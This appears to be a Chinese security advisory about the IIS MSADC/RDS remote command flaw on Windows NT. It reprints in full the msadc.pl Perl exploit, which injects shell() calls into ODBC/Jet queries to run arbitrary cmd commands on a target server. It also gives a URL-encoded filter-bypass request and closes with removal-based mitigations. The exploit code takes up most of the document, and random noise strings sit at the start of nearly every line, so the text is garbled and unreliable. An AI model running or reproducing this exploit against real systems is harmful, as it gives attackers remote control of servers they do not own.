IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4BUG\~eI3 bZ1*:k2 涉及程序：
"0u M%*2 Microsoft NT server
.; Mb4"7= tewp-M KA 描述：
<$ yA* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$cK}Tl q A
yr , 详细：
p3Qls* 如果你没有时间读详细内容的话，就删除:
z bYv}q c:\Program Files\Common Files\System\Msadc\msadcs.dll
Yb^e7E ug 有关的安全问题就没有了。
`kuu}YUi aPzn4}~/_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
YHO}z}f[! Zj !,3{jX^ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
p @kRo#~l 关于利用ODBC远程漏洞的描述，请参看:
>t.Lc. {?`7D:]`^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =y-yHRC7 .SjJG67OyA 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
}3A~ek#*~ http://www.microsoft.com/security/bulletins/MS99-025faq.asp qF4tjza;k nKzm.D gt_ 这里不再论述。
W03mdRW 1$eoW/8. 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
F$DA/ {.D bJetqF6 n /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
X5YOxMq 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
t$(#$Z,RS [:. wCG5 |,p"<a!+{w #将下面这段保存为txt文件，然后: "perl -x 文件名"
W M` 3QJb CO smVQ. #!perl
J/'Fj? #
g kO^J{_@q # MSADC/RDS 'usage' (aka exploit) script
~ 1D^C |% #
9c[X[ Qc # by rain.forest.puppy
W,Nqev Xo: #
EP#2it]0] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
2=- .@,6 # beta test and find errors!
jhm/ <= { 7ji m use Socket; use Getopt::Std;
A!Cby!, getopts("e:vd:h:XR", \%args);
3s/1\m% L4Zt4Yuw print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
~w3u(X$m" mP &\? if (!defined $args{h} && !defined $args{R}) {
JyZuj>`
6 print qq~
o *J*} y Usage: msadc.pl -h <host> { -d <delay> -X -v }
#Z1-+X8P -h <host> = host you want to scan (ip or domain)
R1X'}#mU -d <seconds> = delay between calls, default 1 second
D#L(ZlD4 -X = dump Index Server path table, if available
q4[8\Ua -v = verbose
{6H[[7i -e = external dictionary file for step 5
}lIc{R@H
-Dd Hl8 Or a -R will resume a command session
*sOb I(& 3 ~T ~Bs ~; exit;}
ekvs3a^ B^/MwD>% $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#zTy7ZS,0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
):'wxIVGI if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
86OrJdD8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
U;#KFZ+~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&Gjpc>d if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?{q Un8f2 g %mCg P if (!defined $args{R}){ $ret = &has_msadc;
)] j3-# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(DO'iCxlNh UsyNn39 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G<e+sDQ2 . "cmd /c ";
q13fmK(n-5 $in=<STDIN>; chomp $in;
- *'
?D@l $command="cmd /c " . $in ;
4>= M"D hB _ l|%~ if (defined $args{R}) {&load; exit;}
>8_y-74 7 A\` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o6MFMA+vi &try_btcustmr;
d}4NL:=& t|i N Sy3 print "\nStep 2: Trying to make our own DSN...";
OF7hp5 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Sv M\9 qUd7O](b=? print "\nStep 3: Trying known DSNs...";
AB'+6QU9k &known_dsn;
!^ % 3 FB[b]+t`D{ print "\nStep 4: Trying known .mdbs...";
QEs$9a5TE &known_mdb;
rJ Jx8)M Cjf[]aNJe` if (defined $args{e}){
9VxM1-8Gs print "\nStep 5: Trying dictionary of DSN names...";
p-}X=O$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
oh8:1E,I @e)}#kN. print "Sorry Charley...maybe next time?\n";
f256;3n exit;
cF8
2wg _/LGGt4&% ##############################################################################
f\hMTebma$ ]?4;Lw sub sendraw { # ripped and modded from whisker
~o!- [ sleep($delay); # it's a DoS on the server! At least on mine...
Vx $;wU Y my ($pstr)=@_;
%Xd* 2q4* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'Tm1Mh0Fso die("Socket problems\n");
,G H` tK_ if(connect(S,pack "SnA4x8",2,80,$target)){
n{;Q"\*Sg select(S); $|=1;
J#..xJ?XRD print $pstr; my @in=<S>;
rw'+2\ select(STDOUT); close(S);
'(5GR I< return @in;
S[F06.(1 } else { die("Can't connect...\n"); }}
-'$ob~* +]%S}<R ##############################################################################
T '5{p j9 NF| sub make_header { # make the HTTP request
b)I-do+ my $msadc=<<EOT
rRq60A POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
P$ o bID User-Agent: ACTIVEDATA
`DY
yK?R Host: $ip
N] +6< Content-Length: $clen
Q~(Gll; Connection: Keep-Alive
'3b\d:hN (L/>LZn| ADCClientVersion:01.06
&'z_:W m Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
yl-:9|LT h-P|O6@Ki --!ADM!ROX!YOUR!WORLD!
<c}@lj-j Content-Type: application/x-varg
KyyR Hf5 Content-Length: $reqlen
+yP!7] ~*Y#Y{ EOT
FW |&
iS$ ; $msadc=~s/\n/\r\n/g;
`*8 }q!. return $msadc;}
[7@ g*!+d >_?i)%+) ##############################################################################
TwkT|Piw
S 4`,(*igEv sub make_req { # make the RDS request
@)U.Dbm my ($switch, $p1, $p2)=@_;
5 %Qxx\q my $req=""; my $t1, $t2, $query, $dsn;
*2zp>(% [KK
|_ if ($switch==1){ # this is the btcustmr.mdb query
zgAU5cw $query="Select * from Customers where City=" . make_shell();
(Gm Bv $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
d)AYY}pw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}:# W jH^ 8TP$ ? 8l elsif ($switch==2){ # this is general make table query
)=~&l={T $query="create table AZZ (B int, C varchar(10))";
vXDs/,`r $dsn="$p1";}
:lB*km g [Fr ](&Tx elsif ($switch==3){ # this is general exploit table query
aRM lE*yW $query="select * from AZZ where C=" . make_shell();
w<9rTHG8, $dsn="$p1";}
h]oUY.Pf _RIU,uJs elsif ($switch==4){ # attempt to hork file info from index server
p1 KhI;^ $query="select path from scope()";
z(\a JW $dsn="Provider=MSIDXS;";}
[{7#IZL ps{4_V-3 u elsif ($switch==5){ # bad query
K}l3t2uk $query="select";
]pR?/3 $dsn="$p1";}
r wq e S8(HI6{^ $t1= make_unicode($query);
Yqs=jTq`{ $t2= make_unicode($dsn);
E THcZ $req = "\x02\x00\x03\x00";
z&%i"IY $req.= "\x08\x00" . pack ("S1", length($t1));
=*\.zr
$req.= "\x00\x00" . $t1 ;
c [Fc3 $req.= "\x08\x00" . pack ("S1", length($t2));
_KH91$iW8m $req.= "\x00\x00" . $t2 ;
G)7U &B $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
kOQ)QX return $req;}
k+h }HCzE ztO)~ uL ##############################################################################
+KTfGwKt (]#^q8)]\9 sub make_shell { # this makes the shell() statement
/I 7V\ return "'|shell(\"$command\")|'";}
='m$ O ['m pxtG ##############################################################################
k)b{ UFRW ]\ M{Abqd{ sub make_unicode { # quick little function to convert to unicode
x4q}xwH my ($in)=@_; my $out;
# ?2*I2_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
]F y' M return $out;}
(e7!p=D v,-T k=qP ##############################################################################
Zy(i_B-b V"#0\ |]m sub rdo_success { # checks for RDO return success (this is kludge)
ahl|N` my (@in) = @_; my $base=content_start(@in);
Jh\KVmfXN if($in[$base]=~/multipart\/mixed/){
&nmBsl3Q. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
f-F=!^ . return 0;}
+VUkV-kP {lds?AuK ##############################################################################
V8n { k' Nh!`"B2B sub make_dsn { # this makes a DSN for us
X?_rD'3 my @drives=("c","d","e","f");
[\ao#f0WR print "\nMaking DSN: ";
.P m 5nS foreach $drive (@drives) {
UXct+l print "$drive: ";
1-gM)x{Jr my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
x/s:/YN' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
AIHH@z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N'2?Z b $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
>e Gg 1 return 0 if $2 eq "404"; # not found/doesn't exist
kORWj< if($2 eq "200") {
/!Rva" foreach $line (@results) {
x@
=p return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~-'2 jb*8 } return 0;}
']nIa7 >6C\T@{lJ ##############################################################################
[piK"N !4p{ b f sub verify_exists {
I 1 ]YT my ($page)=@_;
t1T s !Q2 my @results=sendraw("GET $page HTTP/1.0\n\n");
d'_q9uf' return $results[0];}
f+:iz'b#U $wM..ee ##############################################################################
85E$m'0O vU >^ sub try_btcustmr {
\Tz|COG5h\ my @drives=("c","d","e","f");
Z 8w\[AF{$ my @dirs=("winnt","winnt35","winnt351","win","windows");
K Ggt Eh| n5QO'Jr%[ foreach $dir (@dirs) {
x]7:MG$ print "$dir -> "; # fun status so you can see progress
Vl^x_gs#_] foreach $drive (@drives) {
uc,>VzdB print "$drive: "; # ditto
LDg9@esi $reqlen=length( make_req(1,$drive,$dir) ) - 28;
,l&?%H9q $reqlenlen=length( "$reqlen" );
I=L[ "] $clen= 206 + $reqlenlen + $reqlen;
MXSD8]j e t!\aDkxo % my @results=sendraw(make_header() . make_req(1,$drive,$dir));
u$JAjA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
vC,F E
)' else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T, #-: } *8)?ZZMM ##############################################################################
C1 -U2 @ iF`_-t/k sub odbc_error {
1EV bGe%b my (@in)=@_; my $base;
v/ry" W my $base = content_start(@in);
7@{%S~T N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
phDIUhL$z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1L <TzQ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"==c $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
" W5MZ return $in[$base+4].$in[$base+5].$in[$base+6];}
|)7K(R)(= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
`he# !" print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
j}Tv/O,f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
t]&.'n, j)@W1I]2# ##############################################################################
CAc]SxLh A ON
|b\? sub verbose {
>)K3 my ($in)=@_;
!/}4_s`, return if !$verbose;
6Jgl"Jw8 print STDOUT "\n$in\n";}
rRevyTs 'wPX.h? ##############################################################################
^$oa`B^2JM k)knyEUi sub save {
r8(oTx my ($p1, $p2, $p3, $p4)=@_;
3Y P! B= open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7T[L5-g print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
fS} Eu4Xe close OUT;}
](oeMl18R =)bOteWM ##############################################################################
N~|f^#L 7 O)ATb#up sub load {
}6l:'nW my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M Q =x:p{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z&^vEQ @p=<IN>; close(IN);
7Ydqg& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Ow- ejo $target= inet_aton($ip) || die("inet_aton problems");
S[y' {; print "Resuming to $ip ...";
m !:F /?B $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
(l w V(M if($p[1]==1) {
kg Bkwp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/%m?D o $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
n WelM2 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
m& A bH&; if (rdo_success(@results)){print "Success!\n";}
Cnpl0rV~5 else { print "failed\n"; verbose(odbc_error(@results));}}
7UBW3{d/u5 elsif ($p[1]==3){
5{ -Hg[+9 if(run_query("$p[3]")){
dtuCA"D print "Success!\n";} else { print "failed\n"; }}
`_yksh3zL4 elsif ($p[1]==4){
og$dv
23 if(run_query($drvst . "$p[3]")){
Q8H NST($? print "Success!\n"; } else { print "failed\n"; }}
@y Gnrfr exit;}
!o|
ex+z; QY+{ OCB ##############################################################################
qo9&e~Y<G 0of :tZU sub create_table {
~/4j& IG my ($in)=@_;
, JH*l :7 $reqlen=length( make_req(2,$in,"") ) - 28;
{X, - T& $reqlenlen=length( "$reqlen" );
Rq1 5AR $clen= 206 + $reqlenlen + $reqlen;
|%4nU#GoB my @results=sendraw(make_header() . make_req(2,$in,""));
4P Sbr$ return 1 if rdo_success(@results);
TFbc@rfB my $temp= odbc_error(@results); verbose($temp);
k&yBB%g return 1 if $temp=~/Table 'AZZ' already exists/;
W[QgddR return 0;}
KUW )F <> =(BAw ##############################################################################
|vi= h2* ?z`yNx6 sub known_dsn {
}!g$k
$y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4-O.i\1q my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
VIWH~UR)&! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~ DLxIe "banner", "banners", "ads", "ADCDemo", "ADCTest");
r(]G d`] -X
EK[ foreach $dSn (@dsns) {
34k(:]56| print ".";
s,J\nbj0h next if (!is_access("DSN=$dSn"));
rDaiA x& if(create_table("DSN=$dSn")){
b0f6?s print "$dSn successful\n";
!6.LSY,E if(run_query("DSN=$dSn")){
( Vey]J print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^N}{M$ print "Something's borked. Use verbose next time\n";}}} print "\n";}
@ &c@ !/2kJOSp ##############################################################################
d}E6d||A $xvwnbq#y sub is_access {
'( ETXQ@ my ($in)=@_;
@bkSA $reqlen=length( make_req(5,$in,"") ) - 28;
:^ 7_E& $reqlenlen=length( "$reqlen" );
;|rF P $clen= 206 + $reqlenlen + $reqlen;
s/?(G L+Ae my @results=sendraw(make_header() . make_req(5,$in,""));
O,@QGUoA my $temp= odbc_error(@results);
F[ ^ p~u{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,vi6<C\ return 0;}
L #vk77 bN*zx)f ##############################################################################
_ 58&^:/^ T Fc/` sub run_query {
=w7k@[Bq my ($in)=@_;
>taT
V_, $reqlen=length( make_req(3,$in,"") ) - 28;
yj,+7[) $reqlenlen=length( "$reqlen" );
=aT8=ihP $clen= 206 + $reqlenlen + $reqlen;
"gpfD-BX my @results=sendraw(make_header() . make_req(3,$in,""));
i+-Y"vRi return 1 if rdo_success(@results);
ku v< my $temp= odbc_error(@results); verbose($temp);
+DT
tKj return 0;}
DKQQZ` PF :v-,-3AG ##############################################################################
^YPw'cZZ& d#, sub known_mdb {
TGPdi5Eq my @drives=("c","d","e","f","g");
(j}Wt 8 my @dirs=("winnt","winnt35","winnt351","win","windows");
i#lO{ ] my $dir, $drive, $mdb;
t;%MSedn my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
AK;G _L n RZ T~S4 # this is sparse, because I don't know of many
0w^awT<$6 my @sysmdbs=( "\\catroot\\icatalog.mdb",
``?Z97rH "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
cMt
, 80 "\\system32\\certmdb.mdb",
d~d~Cd` V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]s_BOt Jxb+NPUB my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
~f2-%~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
YsjTC$Tx, "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!P:~oo = "\\cfusion\\cfapps\\security\\realm_.mdb",
Vzrp9&loY "\\cfusion\\cfapps\\security\\data\\realm.mdb",
vn5]+-I "\\cfusion\\database\\cfexamples.mdb",
! F&{I "\\cfusion\\database\\cfsnippets.mdb",
Q5v_^O<! "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
bF3}L=z "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
NE$=R" <Gv "\\cfusion\\brighttiger\\database\\cleam.mdb",
7^8<[8 "\\cfusion\\database\\smpolicy.mdb",
- ,xsUw 4 "\\cfusion\\database\cypress.mdb",
My >{;n=} "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
W^nG\"T^ "\\website\\cgi-win\\dbsample.mdb",
0Z[8d0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
v?1xYG@1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+ Y^/0=6h ); #these are just
|
\JB /x foreach $drive (@drives) {
Yg7C"3;Vt foreach $dir (@dirs){
Q,f5r%A. foreach $mdb (@sysmdbs) {
G0h7MO%x print ".";
bl B00 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4[]4KKO3Q2 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
b{d@:" if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
t?kbN\, print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
n|iO)L\9aB } else { print "Something's borked. Use verbose next time\n"; }}}}}
~); 7D'[ yX8$LOjE foreach $drive (@drives) {
Zz04Pz1 foreach $mdb (@mdbs) {
Qjh @oWT print ".";
A[oxG;9xi if(create_table($drv . $drive . $dir . $mdb)){
*FUb Kr0 print "\n" . $drive . $dir . $mdb . " successful\n";
aV8]?E5G if(run_query($drv . $drive . $dir . $mdb)){
AUAJMS!m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
V5LzUg] } else { print "Something's borked. Use verbose next time\n"; }}}}
AA,n.;zy< }
Q|o~\h< NvfQa6?; ##############################################################################
0l ]K%5# >H?{=H+/# sub hork_idx {
rOy-6og print "\nAttempting to dump Index Server tables...\n";
X8b= z9 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-d
6B;I<' $reqlen=length( make_req(4,"","") ) - 28;
co%ttH\ n $reqlenlen=length( "$reqlen" );
o;@T6-VH $clen= 206 + $reqlenlen + $reqlen;
:AB$d~${M> my @results=sendraw2(make_header() . make_req(4,"",""));
13P8Zmco if (rdo_success(@results)){
dAcy;-[[P my $max=@results; my $c; my %d;
', p`B-dw for($c=19; $c<$max; $c++){
h{cJ S9e} $results[$c]=~s/\x00//g;
toCT5E_0= $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
* <_8]C0> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
FCEFg)c5= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
paW7.~3
R $d{"$1$2"}="";}
+O @0gl foreach $c (keys %d){ print "$c\n"; }
(a i &v } else {print "Index server doesn't seem to be installed.\n"; }}
uD' '0G\ < J Q vuC ##############################################################################
#Hr>KQ5mJQ ZK@ENfG sub dsn_dict {
poYO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<OEu 4,~: while(<IN>){
?8Hr
9 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
.qCD(XZ+ next if (!is_access("DSN=$dSn"));
Ytnk^/Z1L if(create_table("DSN=$dSn")){
1 yN/+Rq print "$dSn successful\n";
hIPU%
if(run_query("DSN=$dSn")){
.5zqpm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(TV ye4Z print "Something's borked. Use verbose next time\n";}}}
,$96bF "# print "\n"; close(IN);}
<k&Q"X:" ~sSlfQWMzy ##############################################################################
0ZXG{Gp9S 5Vzi{y/bL sub sendraw2 { # ripped and modded from whisker
- U g sleep($delay); # it's a DoS on the server! At least on mine...
!(soMv my ($pstr)=@_;
{(#>% f+|C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y\ len die("Socket problems\n");
iy{*w&p if(connect(S,pack "SnA4x8",2,80,$target)){
:.IVf Zw print "Connected. Getting data";
io$!z=W open(OUT,">raw.out"); my @in;
T^ ^o select(S); $|=1; print $pstr;
DUxj^,mf, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&JM|u ww?1 close(OUT); select(STDOUT); close(S); return @in;
<$LVAy "RD } else { die("Can't connect...\n"); }}
DDT)l+: XP \4`~ J@5Y ##############################################################################
V&E)4KBOs < 6[XE sub content_start { # this will take in the server headers
Tt.wY=,K my (@in)=@_; my $c;
wPYz& &W for ($c=1;$c<500;$c++) {
Lmx95[#@a if($in[$c] =~/^\x0d\x0a/){
% SL'X`j if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
#N?EPV$ else { return $c+1; }}}
W~J@v@..4 return -1;} # it should never get here actually
pDO&I]S`q0 Rdd[b? ##############################################################################
*wcb 5p b/='M`D}#G sub funky {
]?p&sI4 my (@in)=@_; my $error=odbc_error(@in);
xioL6^(Qk, if($error=~/ADO could not find the specified provider/){
_4VF>#b print "\nServer returned an ADO miscofiguration message\nAborting.\n";
sXdNlR & exit;}
;#G)([ if($error=~/A Handler is required/){
<GI{`@5 C print "\nServer has custom handler filters (they most likely are patched)\n";
Cvr?%+)$M exit;}
@sRUl
,M;Z if($error=~/specified Handler has denied Access/){
#wL}4VN print "\nServer has custom handler filters (they most likely are patched)\n";
c8I :
jDk: exit;}}
/(Se:jH$> 8|uFW7Q ##############################################################################
!j,LS$tPu $bRakF1'S sub has_msadc {
5_@ u Be~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
fJ_d ,4 my $base=content_start(@results);
Mvq5s +. return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
LwQq0<v return 0;}
fX=o,=-f m0+X 109 ########################
'`$z!rA kYBy\ ,C%fA>?UF8 解决方案：
:uE:mY%R 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
kZ XsL 2、移除web 目录: /msadc
